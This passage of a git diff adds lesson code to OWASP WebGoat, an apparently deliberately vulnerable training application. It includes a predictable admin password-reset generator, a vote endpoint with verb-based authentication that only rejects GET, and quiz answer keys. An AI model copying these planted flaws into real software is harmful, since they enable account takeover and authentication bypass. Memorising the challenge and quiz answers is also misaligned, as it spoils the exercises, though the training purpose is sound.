16); + } + + /** + * Returns 32-character hex representation of this hash. + * + * @return String representation of this object's hash. + * @since ostermillerutils 1.00.00 + */ + public String getHashString() { + return toHex(this.getHash()); + } + + /** + * Gets the MD5 hash of the given byte array. + * + * @param b byte array for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(byte[] b) { + MD5 md5 = new MD5(); + md5.update(b); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given byte array. + * + * @param b byte array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(byte[] b) { + MD5 md5 = new MD5(); + md5.update(b); + return md5.getHashString(); + } + + /** + * Gets the MD5 hash the data on the given InputStream. + * + * @param in byte array for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(InputStream in) throws IOException { + MD5 md5 = new MD5(); + byte[] buffer = new byte[1024]; + int read; + while ((read = in.read(buffer)) != -1) { + md5.update(buffer, read); + } + return md5.getHash(); + } + + /** + * Gets the MD5 hash the data on the given InputStream. + * + * @param in byte array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(InputStream in) throws IOException { + MD5 md5 = new MD5(); + byte[] buffer = new byte[1024]; + int read; + while ((read = in.read(buffer)) != -1) { + md5.update(buffer, read); + } + return md5.getHashString(); + } + + /** + * Gets the MD5 hash of the given file. + * + * @param f file for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(File f) throws IOException { + byte[] hash = null; + try (InputStream is = new FileInputStream(f)) { + hash = getHash(is); + } + return hash; + } + + /** + * Gets the MD5 hash of the given file. + * + * @param f file array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(File f) throws IOException { + String hash = null; + try (InputStream is = new FileInputStream(f)) { + hash = getHashString(is); + } + return hash; + } + + /** + * Gets the MD5 hash of the given String. The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(String s) { + MD5 md5 = new MD5(); + md5.update(s); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given String. The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(String s) { + MD5 md5 = new MD5(); + md5.update(s); + return md5.getHashString(); + } + + /** + * Gets the MD5 hash of the given String. + * + * @param s String for which an MD5 hash is desired. + * @param enc The name of a supported character encoding. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException { + MD5 md5 = new MD5(); + md5.update(s, enc); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given String. + * + * @param s String for which an MD5 hash is desired. + * @param enc The name of a supported character encoding. + * @return 32-character hex representation the data's MD5 hash. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(String s, String enc) throws UnsupportedEncodingException { + MD5 md5 = new MD5(); + md5.update(s, enc); + return md5.getHashString(); + } + + /** + * Reset the MD5 sum to its initial state. + * + * @since ostermillerutils 1.00.00 + */ + public void reset() { + workingState.reset(); + finalState.valid = false; + } + + /** + * Returns 32-character hex representation of this hash. + * + * @return String representation of this object's hash. + * @since ostermillerutils 1.00.00 + */ + @Override + public String toString() { + return getHashString(); + } + + /** + * Update this hash with the given data. + * + *

A state may be passed into this method so that we can add padding and finalize a md5 hash + * without limiting our ability to update more data later. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param state Which state is updated. + * @param buffer Array of bytes to be hashed. + * @param offset Offset to buffer array. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + private void update(MD5State state, byte buffer[], int offset, int length) { + + finalState.valid = false; + + // if length goes beyond the end of the buffer, cut it short. + if ((length + offset) > buffer.length) { + length = buffer.length - offset; + } + + // compute number of bytes mod 64 + // this is what we have sitting in a buffer + // that have not been hashed yet + int index = (int) (state.bitCount >>> 3) & 0x3f; + + // add the length to the count (translate bytes to bits) + state.bitCount += length << 3; + + int partlen = 64 - index; + + int i = 0; + if (length >= partlen) { + System.arraycopy(buffer, offset, state.buffer, index, partlen); + transform(state, decode(state.buffer, 64, 0)); + for (i = partlen; (i + 63) < length; i += 64) { + transform(state, decode(buffer, 64, i)); + } + index = 0; + } + + // buffer remaining input + if (i < length) { + for (int start = i; i < length; i++) { + state.buffer[index + i - start] = buffer[i + offset]; + } + } + } + + /** + * Update this hash with the given data. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param buffer Array of bytes to be hashed. + * @param offset Offset to buffer array. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[], int offset, int length) { + update(workingState, buffer, offset, length); + } + + /** + * Update this hash with the given data. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param buffer Array of bytes to be hashed. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[], int length) { + update(buffer, 0, length); + } + + /** + * Update this hash with the given data. + * + * @param buffer Array of bytes to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[]) { + update(buffer, 0, buffer.length); + } + + /** + * Updates this hash with a single byte. + * + * @param b byte to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(byte b) { + byte buffer[] = new byte[1]; + buffer[0] = b; + update(buffer, 1); + } + + /** + * Update this hash with a String. The string is converted to bytes using the current platform's + * default character encoding. + * + * @param s String to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(String s) { + update(s.getBytes()); + } + + /** + * Update this hash with a String. + * + * @param s String to be hashed. + * @param enc The name of a supported character encoding. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public void update(String s, String enc) throws UnsupportedEncodingException { + update(s.getBytes(enc)); + } + + /** + * The current state from which the hash sum can be computed or updated. + * + * @since ostermillerutils 1.00.00 + */ + private MD5State workingState = new MD5State(); + + /** + * Cached copy of the final MD5 hash sum. This is created when the hash is requested and it is + * invalidated when the hash is updated. + * + * @since ostermillerutils 1.00.00 + */ + private MD5State finalState = new MD5State(); + + /** + * Temporary buffer cached here for performance reasons. + * + * @since ostermillerutils 1.00.00 + */ + private int[] decodeBuffer = new int[16]; + + /** + * 64 bytes of padding that can be added if the length is not divisible by 64. + * + * @since ostermillerutils 1.00.00 + */ + private static final byte padding[] = { + (byte) 0x80, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + }; + + /** + * Contains internal state of the MD5 class. Passes MD5 test suite as defined in RFC1321. + * + * @since ostermillerutils 1.00.00 + */ + private class MD5State { + + /** + * True if this state is valid. + * + * @since ostermillerutils 1.00.00 + */ + private boolean valid = true; + + /** + * Reset to initial state. + * + * @since ostermillerutils 1.00.00 + */ + private void reset() { + state[0] = 0x67452301; + state[1] = 0xefcdab89; + state[2] = 0x98badcfe; + state[3] = 0x10325476; + + bitCount = 0; + } + + /** + * 128-byte state + * + * @since ostermillerutils 1.00.00 + */ + private int state[] = new int[4]; + + /** + * 64-bit count of the number of bits that have been hashed. + * + * @since ostermillerutils 1.00.00 + */ + private long bitCount; + + /** + * 64-byte buffer (512 bits) for storing to-be-hashed characters + * + * @since ostermillerutils 1.00.00 + */ + private byte buffer[] = new byte[64]; + + private MD5State() { + reset(); + } + + /** + * Set this state to be exactly the same as some other. + * + * @param from state to copy from. + * @since ostermillerutils 1.00.00 + */ + private void copy(MD5State from) { + System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length); + System.arraycopy(from.state, 0, this.state, 0, this.state.length); + this.valid = from.valid; + this.bitCount = from.bitCount; + } + } + + /** + * Turns array of bytes into string representing each byte as a two digit unsigned hex number. + * + * @param hash Array of bytes to convert to hex-string + * @return Generated hex string + * @since ostermillerutils 1.00.00 + */ + private static String toHex(byte hash[]) { + StringBuilder buf = new StringBuilder(hash.length * 2); + for (byte element : hash) { + int intVal = element & 0xff; + if (intVal < 0x10) { + // append a zero before a one digit hex + // number to make it two digits. + buf.append("0"); + } + buf.append(Integer.toHexString(intVal)); + } + return buf.toString(); + } + + private static int FF(int a, int b, int c, int d, int x, int s, int ac) { + a += ((b & c) | (~b & d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int GG(int a, int b, int c, int d, int x, int s, int ac) { + a += ((b & d) | (c & ~d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int HH(int a, int b, int c, int d, int x, int s, int ac) { + a += (b ^ c ^ d); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int II(int a, int b, int c, int d, int x, int s, int ac) { + a += (c ^ (b | ~d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static byte[] encode(long l) { + byte[] out = new byte[8]; + out[0] = (byte) (l & 0xff); + out[1] = (byte) ((l >>> 8) & 0xff); + out[2] = (byte) ((l >>> 16) & 0xff); + out[3] = (byte) ((l >>> 24) & 0xff); + out[4] = (byte) ((l >>> 32) & 0xff); + out[5] = (byte) ((l >>> 40) & 0xff); + out[6] = (byte) ((l >>> 48) & 0xff); + out[7] = (byte) ((l >>> 56) & 0xff); + return out; + } + + private static byte[] encode(int input[], int len) { + byte[] out = new byte[len]; + int i, j; + for (i = j = 0; j < len; i++, j += 4) { + out[j] = (byte) (input[i] & 0xff); + out[j + 1] = (byte) ((input[i] >>> 8) & 0xff); + out[j + 2] = (byte) ((input[i] >>> 16) & 0xff); + out[j + 3] = (byte) ((input[i] >>> 24) & 0xff); + } + return out; + } + + private int[] decode(byte buffer[], int len, int offset) { + int i, j; + for (i = j = 0; j < len; i++, j += 4) { + decodeBuffer[i] = + ((buffer[j + offset] & 0xff)) + | (((buffer[j + 1 + offset] & 0xff)) << 8) + | (((buffer[j + 2 + offset] & 0xff)) << 16) + | (((buffer[j + 3 + offset] & 0xff)) << 24); + } + return decodeBuffer; + } + + private static void transform(MD5State state, int[] x) { + int a = state.state[0]; + int b = state.state[1]; + int c = state.state[2]; + int d = state.state[3]; + + /* Round 1 */ + a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */ + d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */ + c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */ + b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */ + a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */ + d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */ + c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */ + b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */ + a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */ + d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */ + c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */ + b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */ + a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */ + d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */ + c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */ + b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */ + + /* Round 2 */ + a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */ + d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */ + c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */ + b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */ + a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */ + d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */ + c = GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */ + b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */ + a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */ + d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */ + c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */ + b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */ + a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */ + d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */ + c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */ + b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */ + + /* Round 3 */ + a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */ + d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */ + c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */ + b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */ + a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */ + d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */ + c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */ + b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */ + a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */ + d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */ + c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */ + b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */ + a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */ + d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */ + c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */ + b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */ + + /* Round 4 */ + a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */ + d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */ + c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */ + b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */ + a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */ + d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */ + c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */ + b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */ + a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */ + d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */ + c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */ + b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */ + a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */ + d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */ + c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */ + b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */ + + state.state[0] += a; + state.state[1] += b; + state.state[2] += c; + state.state[3] += d; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java new file mode 100644 index 000000000..ff00f06cb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java @@ -0,0 +1,45 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.util.Random; + +/** + * WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents + * + * @author nbaars + * @since 8/17/17. + */ +public class PasswordResetLink { + + public String createPasswordReset(String username, String key) { + Random random = new Random(); + if (username.equalsIgnoreCase("admin")) { + // Admin has a fix reset link + random.setSeed(key.length()); + } + return scramble(random, scramble(random, scramble(random, MD5.getHashString(username)))); + } + + public static String scramble(Random random, String inputString) { + char[] a = inputString.toCharArray(); + for (int i = 0; i < a.length; i++) { + int j = random.nextInt(a.length); + char temp = a[i]; + a[i] = a[j]; + a[j] = temp; + } + return new String(a); + } + + public static void main(String[] args) { + if (args == null || args.length != 2) { + System.out.println("Need a username and key"); + System.exit(1); + } + String username = args[0]; + String key = args[1]; + System.out.println("Generation password reset link for " + username); + System.out.println( + "Created password reset link: " + + new PasswordResetLink().createPasswordReset(username, key)); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java new file mode 100644 index 000000000..535b92f18 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java @@ -0,0 +1,76 @@ +package org.owasp.webgoat.lessons.challenges.challenge8; + +import java.util.HashMap; +import java.util.Map; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@Slf4j +public class Assignment8 extends AssignmentEndpoint { + + private static final Map votes = new HashMap<>(); + + static { + votes.put(1, 400); + votes.put(2, 120); + votes.put(3, 140); + votes.put(4, 150); + votes.put(5, 300); + } + + @GetMapping(value = "/challenge/8/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity vote( + @PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) { + // Simple implementation of VERB Based Authentication + String msg = ""; + if (request.getMethod().equals("GET")) { + var json = + Map.of("error", true, "message", "Sorry but you need to login first in order to vote"); + return ResponseEntity.status(200).body(json); + } + Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0); + votes.put(nrOfStars, allVotesForStar + 1); + return ResponseEntity.ok() + .header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)) + .build(); + } + + @GetMapping("/challenge/8/votes/") + public ResponseEntity getVotes() { + return ResponseEntity.ok( + votes.entrySet().stream() + .collect(Collectors.toMap(e -> "" + e.getKey(), e -> e.getValue()))); + } + + @GetMapping("/challenge/8/votes/average") + public ResponseEntity> average() { + int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum(); + int categories = + votes.entrySet().stream() + .mapToInt(e -> e.getKey() * e.getValue()) + .reduce(0, (a, b) -> a + b); + var json = Map.of("average", (int) Math.ceil((double) categories / totalNumberOfVotes)); + return ResponseEntity.ok(json); + } + + @GetMapping("/challenge/8/notUsed") + public AttackResult notUsed() { + throw new IllegalStateException("Should never be called, challenge specific method"); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java new file mode 100644 index 000000000..c610a1bd9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.challenges.challenge8; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge8 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge8.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java new file mode 100644 index 000000000..587761fc4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.chromedevtools; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author TMelzer + * @since 30.11.18 + */ +@Component +public class ChromeDevTools extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "3.chrome-dev-tools.title"; // 3rd lesson in General + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java new file mode 100644 index 000000000..97677e9a9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java @@ -0,0 +1,54 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.chromedevtools; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * This is just a class used to make the the HTTP request. + * + * @author TMelzer + * @since 30.11.18 + */ +@RestController +public class NetworkDummy extends AssignmentEndpoint { + + @PostMapping("/ChromeDevTools/dummy") + @ResponseBody + public AttackResult completed(@RequestParam String successMessage) { + UserSessionData userSessionData = getUserSessionData(); + String answer = (String) userSessionData.getValue("randValue"); + + if (successMessage != null && successMessage.equals(answer)) { + return success(this).feedback("xss-dom-message-success").build(); + } else { + return failed(this).feedback("xss-dom-message-failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java new file mode 100644 index 000000000..7441ab4a5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java @@ -0,0 +1,62 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.chromedevtools; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * Assignment where the user has to look through an HTTP Request using the Developer Tools and find + * a specific number. + * + * @author TMelzer + * @since 30.11.18 + */ +@RestController +@AssignmentHints({"networkHint1", "networkHint2"}) +public class NetworkLesson extends AssignmentEndpoint { + + @PostMapping( + value = "/ChromeDevTools/network", + params = {"network_num", "number"}) + @ResponseBody + public AttackResult completed(@RequestParam String network_num, @RequestParam String number) { + if (network_num.equals(number)) { + return success(this).feedback("network.success").output("").build(); + } else { + return failed(this).feedback("network.failed").build(); + } + } + + @PostMapping(path = "/ChromeDevTools/network", params = "networkNum") + @ResponseBody + public ResponseEntity ok(@RequestParam String networkNum) { + return ResponseEntity.ok().build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java b/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java new file mode 100644 index 000000000..1754360b0 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.cia; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author BenediktStuhrmann + * @since 11/2/18. + */ +@Component +public class CIA extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "4.cia.title"; // 4th lesson in general + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java b/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java new file mode 100644 index 000000000..fa01b43e5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java @@ -0,0 +1,53 @@ +package org.owasp.webgoat.lessons.cia; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class CIAQuiz extends AssignmentEndpoint { + + String[] solutions = {"Solution 3", "Solution 1", "Solution 4", "Solution 2"}; + boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/cia/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution) { + int correctAnswers = 0; + + String[] givenAnswers = { + question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0] + }; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/cia/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java new file mode 100644 index 000000000..31c0867be --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.clientsidefiltering; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

